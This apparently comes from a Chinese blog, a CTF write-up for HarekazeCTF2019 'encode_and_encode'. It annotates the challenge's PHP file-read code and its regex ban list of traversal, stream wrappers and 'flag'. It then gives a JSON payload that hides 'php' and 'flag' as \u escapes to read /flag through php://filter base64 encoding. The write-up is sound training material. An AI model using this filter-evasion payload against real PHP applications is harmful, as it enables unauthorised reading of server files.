[HarekazeCTF2019]encode_and_encode

打开题目

有三个可以点的地方,点击第三个给了源码

代码审计一下

<?php

error_reporting(0);

if (isset($_GET['source'])) {

  show_source(__FILE__);

  exit();       //这里有exit(),因此在进行测试时应删除URL后的source参数

}

function is_valid($str) {

  $banword = [

    // no path traversal  ->  防止目录穿越

    '\.\.',

    // no stream wrapper ->  过滤掉常见伪协议

    '(php|file|glob|data|tp|zip|zlib|phar):',

    // no data exfiltration  ->  过滤掉‘flag’关键词

    'flag'

  ];

  $regexp = '/' . implode('|', $banword) . '/i';   //正则匹配违禁词

  if (preg_match($regexp, $str)) {   //对传入函数的字符进行检测

    return false;

  }

  return true;

}

$body = file_get_contents('php://input');    //变量body利用php://input伪协议获取post数据

$json = json_decode($body, true);    //变量body在进行json解码后赋值给变量json

if (is_valid($body) && isset($json) && isset($json['page'])) {     //对body内容进行过滤检测、检测json中是否存在page参数  ->  意味着我们的payload应传递给page参数

  $page = $json['page'];

  $content = file_get_contents($page);   //读取page中文件的内容并赋值给content ->  到这里就可以确定是一个文件包含漏洞了

  if (!$content || !is_valid($content)) {   //对content内容进行过滤检测

    $content = "<p>not found</p>\n";

  }

} else {

  $content = '<p>invalid request</p>';

}

// no data exfiltration!!!

$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{<censored>}', $content);    //如果直接返回明文Flag则会替换掉Flag中的内容 ->  这里很明显需要对返回的内容进行加密,不难想到利用php://filter中的流控制器进行数据编码

echo json_encode(['content' => $content]);   //输出content中的内容,即输出文件内容

从里边大致可以得到本题是需要利用php://filter伪协议来读取文件的,需要绕过is_valid()这一检测函数,我们可以用json编码数据中的一个小Trick来绕过

·\uXXXX可以在JSON中转义字符,例如A与\u0041等效

由此我们可以将is_valid()中ban掉的关键词利用16进制的Unicode编码进行转义,从而实现绕过检测

首先构造读取/flag文件内容的payload:

php://filter/convert.base64-encode/resource=/flag

然后将过滤的关键词“php”与“flag”进行编码,得到:

\u0070\u0068\u0070://filter/convert.base64-encode/resource=/\u0066\u006c\u0061\u0067

之后构造json数据包:

{"page":"\u0070\u0068\u0070://filter/convert.base64-encode/resource=/\u0066\u006c\u0061\u0067"}

最后抓包改包发送

使用bp自带的解码工具将返回包中的base64解码一下就得到flag了

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值